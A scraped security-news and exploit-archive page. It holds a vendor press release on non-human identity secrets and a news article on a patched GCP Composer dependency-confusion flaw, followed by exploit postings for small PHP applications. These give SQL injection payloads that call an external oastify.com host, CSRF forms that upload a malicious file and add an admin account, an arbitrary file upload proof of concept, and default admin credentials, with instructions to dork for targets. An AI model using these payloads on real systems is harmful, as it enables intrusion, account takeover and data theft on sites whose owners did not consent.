Boston, USA, 16th September 2024, CyberNewsWire

**Boston, USA, September 16th, 2024, CyberNewsWire**

Analysis of millions of real-world NHI secrets by Entro Security Labs reveals widespread, significant risks, emphasizes need for improved Secrets Management security practices   

Entro Security, pioneer of the award-winning Non-Human Identity (NHI) and Secrets Management platform, today released its research report, “2025 State of Non-Human Identities and Secrets in Cybersecurity.” The Entro Security Lab found that 97% of NHIs have excessive privileges increasing unauthorized access and broadening the attack surface, and 92% of organizations are exposing NHIs to third parties, also resulting in unauthorized access if third-party security practices are not aligned with organizational standards. Surprisingly, 44% of tokens are exposed in the wild, being sent or stored over platforms like Teams, Jira tickets, Confluence pages, code commits and more. Such practices put sensitive information at serious risk of being intercepted and exposed–the root of all secrets and non-human identity breaches. 

Entro Security Labs’ research reveals alarming trends in the handling of both human and NHIs, with significant misconfigurations and risks prevalent across organizations. Key findings include: 

*   For each human identity, there are an average of 92 non-human identities. An overwhelming number of non-human identities increases the complexity of identity management and the potential for security vulnerabilities 
*   91% of former employee tokens remain active, leaving organizations vulnerable to potential security breaches 
*   50% of organizations are onboarding new vaults without proper security approval which can introduce vulnerabilities and misconfigurations from the outset 
*   73% of vaults are misconfigured, also leading to unauthorized access and exposure of sensitive data and compromised systems 
*   60% of NHIs are being overused, with the same NHI being utilized by more than one application, increasing the risk of a single point of failure and widespread compromise if exposed 
*   62% of all secrets are duplicated and stored in multiple locations, causing unnecessary redundancy and increasing the risk of accidental exposure 
*   71% of non-human identities are not rotated within the recommended time frames, increasing the risk of compromise over time 

Additional findings are discussed in the report and reveal a critical need for organizations to reassess their NHIs and secrets management practices.  

Data from this report has been collected using a mixed-methods approach, integrating quantitative data analysis with qualitative insights derived from industry observations. The quantitative component focuses on statistical analysis of security incidents and vulnerabilities, while the qualitative aspect provides context and interpretation of these findings within the broader cybersecurity landscape. The data sources include proprietary data from Entro’s cybersecurity infrastructure, secondary data from publicly available industry reports and survey data from IT and security professionals. 

Entro’s complete research report on non-human identities is available on their website. 

To learn more or schedule a demo, please visit https://entro.security/demo/.  

**About Entro Security** 

An award-winning pioneer platform, Entro Security provides Non-Human Identity Lifecycle Management, Secrets Security and Non-Human Identity Detection and Response. Unlike traditional methods that reactively scan for exposed secrets, Entro integrates seamlessly within an organization’s existing vaults, and secret creation and exposure locations, offering a single pane of glass to securely use and manage non-human identities and secrets at scale. Headquartered in Boston and backed by top cybersecurity VCs, Entro was named a Cool Vendor by Gartner, Venafi’s Most Promising Machine Identity startup and is a 2023 Globee Awards Winner for Startup Achievement of the Year. For more information, please visit https://www.entro.security. 

**Contact**

**Senior Account Executive**  
**Hannah Sather**  
**Montner Tech PR**  
**\[email protected\]**

Entro Security Labs Releases Non-Human Identities Research Security Advisory

Proof of concept unauthenticated remote code execution exploit for Calibre versions 7.14.0 and below.

Calibre 7.14.0 Remote Code Execution

Veeam Backup and Replication version 12.1.2.172 unauthenticated remote code execution exploit.

Veeam Backup And Replication 12.1.2.172 Remote Code Execution

A now-patched critical security flaw impacting Google Cloud Platform (GCP) Composer could have been exploited to achieve remote code execution on cloud servers by means of a supply chain attack technique called dependency confusion.
The vulnerability has been codenamed CloudImposer by Tenable Research.
"The vulnerability could have allowed an attacker to hijack an internal software dependency

Cloud Security / Vulnerability

A now-patched critical security flaw impacting Google Cloud Platform (GCP) Composer could have been exploited to achieve remote code execution on cloud servers by means of a supply chain attack technique called dependency confusion.

The vulnerability has been codenamed **CloudImposer** by Tenable Research.

"The vulnerability could have allowed an attacker to hijack an internal software dependency that Google pre-installs on each Google Cloud Composer pipeline-orchestration tool," security researcher Liv Matan said in a report shared with The Hacker News.

Dependency confusion (aka substitution attack), which was first documented by security researcher Alex Birsan in February 2021, refers to a type of software supply chain compromise in which a package manager is tricked into pulling a malicious package from a public repository instead of the intended file of the same name from an internal repository.

So, a threat actor could stage a large-scale supply chain attack by publishing a counterfeit package to a public package repository with the same name as a package internally developed by companies and with a higher version number.

This, in turn, causes the package manager to unknowingly download the malicious package from the public repository instead of the private repository, effectively replacing the existing package dependency with its rogue counterpart.

The problem identified by Tenable is similar in that it could be abused to upload a malicious package to the Python Package Index (PyPI) repository with the name "google-cloud-datacatalog-lineage-producer-client," which could then be preinstalled on all Composer instances with elevated permissions.

While Cloud Composer requires that the package in question is version-pinned (i.e., version 0.1.0), Tenable found that using the "--extra-index-url" argument during a "pip install" command prioritizes fetching the package from the public registry, thereby opening the door to dependency confusion.

Armed with this privilege, attackers could execute code, exfiltrate service account credentials, and move laterally in the victim's environment to other GCP services.

Following responsible disclosure on January 18, 2024, it was fixed by Google in May 2024 by ensuring that the package is only installed from a private repository. It has also added the extra precaution of verifying the package's checksum in order to confirm its integrity and validate that it has not been tampered with.

The Python Packaging Authority (PyPA) is said to have been aware of the risks posed by the "--extra-index-url" argument since at least March 2018, urging users to skip using PyPI in cases where the internal package needs to be pulled.

"Packages are expected to be unique up to name and version, so two wheels with the same package name and version are treated as indistinguishable by pip," a PyPA member noted at the time. "This is a deliberate feature of the package metadata, and not likely to change."

Google, as part of its fix, now also recommends that developers use the "--index-url" argument instead of the "–extra-index-url" argument and that GCP customers make use of an Artifact Registry virtual repository when requiring multiple repositories.

"The '--index-url' argument reduces the risk of dependency confusion attacks by only searching for packages in the registry that was defined as a given value for that argument," Matan said.

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Google Fixes GCP Composer Flaw That Could've Led to Remote Code Execution

Whitepaper called Unleashing Worms and Extracting Data: Escalating the Outcome of Attacks against RAG-based Inference in Scale and Severity Using Jailbreaking. In this paper, the authors show that with the ability to jailbreak a GenAI model, attackers can escalate the outcome of attacks against RAG-based GenAI-powered applications in severity and scale.

Unleashing Worms And Extracting Data

Ship Ferry Ticket Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities.

    ## Titles: SFTRS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi### Bonus: FU + RCE & XSS - Information disclosure## Author: nu11secur1ty## Date: 09/14/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14923/shipferry-ticket-reservation-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `password` parameter appears to be vulnerable to SQL injection attacks.The payload '+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+' was submittedin the password parameter. This payload injects a SQL sub-query that callsMySQL's load_file function with a UNC file path that references a URL on anexternal domain. The application interacted with that domain, indicatingthat the injected SQL query was executed. The attacker can get all theinformation from the database of this system, and he can do very maliciousaction against the owner of this application!STATUS: HIGH- Vulnerability for deprecation!WARNING: DON'T USE ANY PRODUCTS FROM THIS VENDOR!https://github.com/oretnom23[+]Exploits:- SQLi Multiple:```mysql---Parameter: password (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') OR NOT9033=9033 AND ('ehPW'='ehPW    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT4905 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT(ELT(4905=4905,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('zzCg'='zzCg    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT1493 FROM (SELECT(SLEEP(7)))tpHs) AND ('PbYw'='PbYw---```## Reproduce:[href](https://www.patreon.com/posts/sftrs-php-by-v1-112034018)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/09/sftrs-php-by-oretnom23-shipferry-ticket.html)## Time spent:00:17:00

Ship Ferry Ticket Reservation System 1.0 SQL Injection

Reservation Management System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Reservation Management System 1.0 CSRF Vulnerability                                                                        |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/reservation.zip                                       |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

  [+] Line 8 : Set your target url

[+] save payload as poc.html 

[+] payload : 

<div class="modal-content">  
            <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>  
              <h4 class="modal-title">Add New Menu</h4>  
            </div>  
            <div class="modal-body">  
                
              <form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/menu_save.php" enctype="multipart/form-data">  
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Menu Name</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="menu" id="title" placeholder="Menu Name" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Category</label>  
                      <div class="col-lg-8">   
                        <select class="form-control select2" id="exampleSelect1" name="cat" required="">  
                                                         <option value="9">Dessert</option>  
                                                        <option value="6">Main Course</option>  
                                                        <option value="7">Pasta</option>  
                                                        <option value="10">Rice</option>  
                                                </select>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Subcategory</label>  
                      <div class="col-lg-8">   
                        <select class="form-control select2" id="exampleSelect1" name="subcat">  
                                                         <option>Drinks</option>  
                                                        <option>Lunch and Dinner</option>  
                                                        <option>Mirienda</option>  
                                                        <option>Non Combo Meal</option>  
                                                </select>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Description</label>  
                      <div class="col-lg-8">   
                        <textarea class="form-control" name="desc" id="title" placeholder="Description" required=""></textarea>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Price</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="price" id="title" placeholder="Price" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Image</label>  
                      <div class="col-lg-8">   
                        <input type="file" class="form-control" name="image" id="title">  
                      </div>  
                  </div> 

                    
                  <div class="form-group">  
                        
                      <div class="col-lg-offset-2 col-lg-6">  
                        <button type="submit" class="btn btn-sm btn-primary">Save</button>  
                        <button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>  
                       </div>  
                  </div>  
              </form>  
                
            </div>

                    </div>

    [+] Ev!L : http://127.0.0.1/reservation/images/shopping.php

-----------[+] Part 02 Add Admin [+]-------------------

[+] Line 8 : Set your target url

[+] save payload as poc.html 

[+] payload : 

<div class="modal-content">  
            <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>  
              <h4 class="modal-title">Add New User</h4>  
            </div>  
            <div class="modal-body">  
                
              <form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/user_save.php">  
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Full Name</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="name" id="title" placeholder="Write Full Name of User" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="username">Username</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="username" value="chimney_admin" placeholder="Write Username" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="password">Password</label>  
                      <div class="col-lg-8">   
                        <input type="password" class="form-control" name="password" id="password" placeholder="Write password" required="">  
                      </div>  
                  </div> 

                                                                        
                  <div class="form-group">  
                        
                      <div class="col-lg-offset-2 col-lg-6">  
                        <button type="submit" class="btn btn-sm btn-primary">Save</button>  
                        <button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>  
                       </div>  
                  </div>  
              </form>  
                
            </div>

                    </div>  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Reservation Management System 1.0 Cross Site Request Forgery

Online Job Recruitment Portal Project version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================  
| # Title     : Online Job Recruitment Portal project v1.0 Remote File Upload Vulnerability                                                 |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/php/12866/online-job-recruitment-portal-php-project-source-code                           |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 10.

[+] Set the target site link Save changes and apply . 

[+] infected file : rec_detail.php.

[+] save code as poc.html .

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Recruitment Form</title>  
</head>  
<body>  
    <h1>Recruitment Form</h1>  
    <form action="http://127.0.0.1/Recruitment-Portal-master/rec_detail.php" method="POST" enctype="multipart/form-data">  
          
        <label for="photograph">Photograph:</label>  
        <input type="file" id="photograph" name="photograph" required><br><br>

          
        <label for="placeofbirth">Place of Birth:</label>  
        <input type="text" id="placeofbirth" name="placeofbirth" required><br><br>

          
        <label for="fhname">Father's/Husband's Name:</label>  
        <input type="text" id="fhname" name="fhname" required><br><br>

          
        <label for="marital_status">Marital Status:</label>  
        <select id="marital_status" name="marital_status">  
            <option value="single">Single</option>  
            <option value="married">Married</option>  
            <option value="divorced">Divorced</option>  
        </select><br><br>

          
        <label for="Nationality">Nationality:</label>  
        <select id="Nationality" name="Nationality">  
            <option value="national1">Nationality 1</option>  
            <option value="national2">Nationality 2</option>  
        </select><br><br>

          
        <label for="handicapped">Handicapped:</label>  
        <select id="handicapped" name="handicapped">  
            <option value="yes">Yes</option>  
            <option value="no">No</option>  
        </select><br><br>

          
        <label for="religion">Religion:</label>  
        <select id="religion" name="religion">  
            <option value="religion1">Religion 1</option>  
            <option value="religion2">Religion 2</option>  
        </select><br><br>

          
        <label for="blood">Blood Group:</label>  
        <select id="blood" name="blood">  
            <option value="A+">A+</option>  
            <option value="B+">B+</option>  
            <option value="AB+">AB+</option>  
            <option value="O+">O+</option>  
            <option value="O-">O-</option>  
        </select><br><br>

          
        <label for="mark">Identification Mark:</label>  
        <input type="text" id="mark" name="mark" required><br><br>

          
        <input type="submit" value="Submit">  
    </form>  
</body>  
</html>

[+] http://127.0.0.1/Recruitment-Portal-master/images/.php

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Job Recruitment Portal Project 1.0 Arbitrary File Upload

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

**IFSC Code Finder Portal 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 4c8714f261d6bcdc7f5ee89b4f1473342ced816a03f174b9a8bc607a329616e0

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**IFSC Code Finder Portal 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : IFSC Code Finder Portal v1.0 Insecure Settings Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/ifsc-code-finder-project-using-php/                                                                  |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = Test@123[+] http://127.0.0.1/ifscfinder/admin/login.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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IFSC Code Finder Portal 1.0 Insecure Settings

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

**GYM Management System 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 5ee11f413d4f6dbbb71c2d782424145f8284d96790518d7c0e3923c5bd409844

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**GYM Management System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : GYM Management System 1.0 Insecure Settings Vulnerability                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/gym-management-system-using-php-and-mysql/                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin@gmail.com      Password: Test@123[+] http://127.0.0.1/agms/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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*   Linux (51,142)
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*   NetBSD (256)
*   OpenBSD (489)
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*   Ubuntu (9,828)
*   UNIX (9,454)
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*   Windows (6,766)
*   Other

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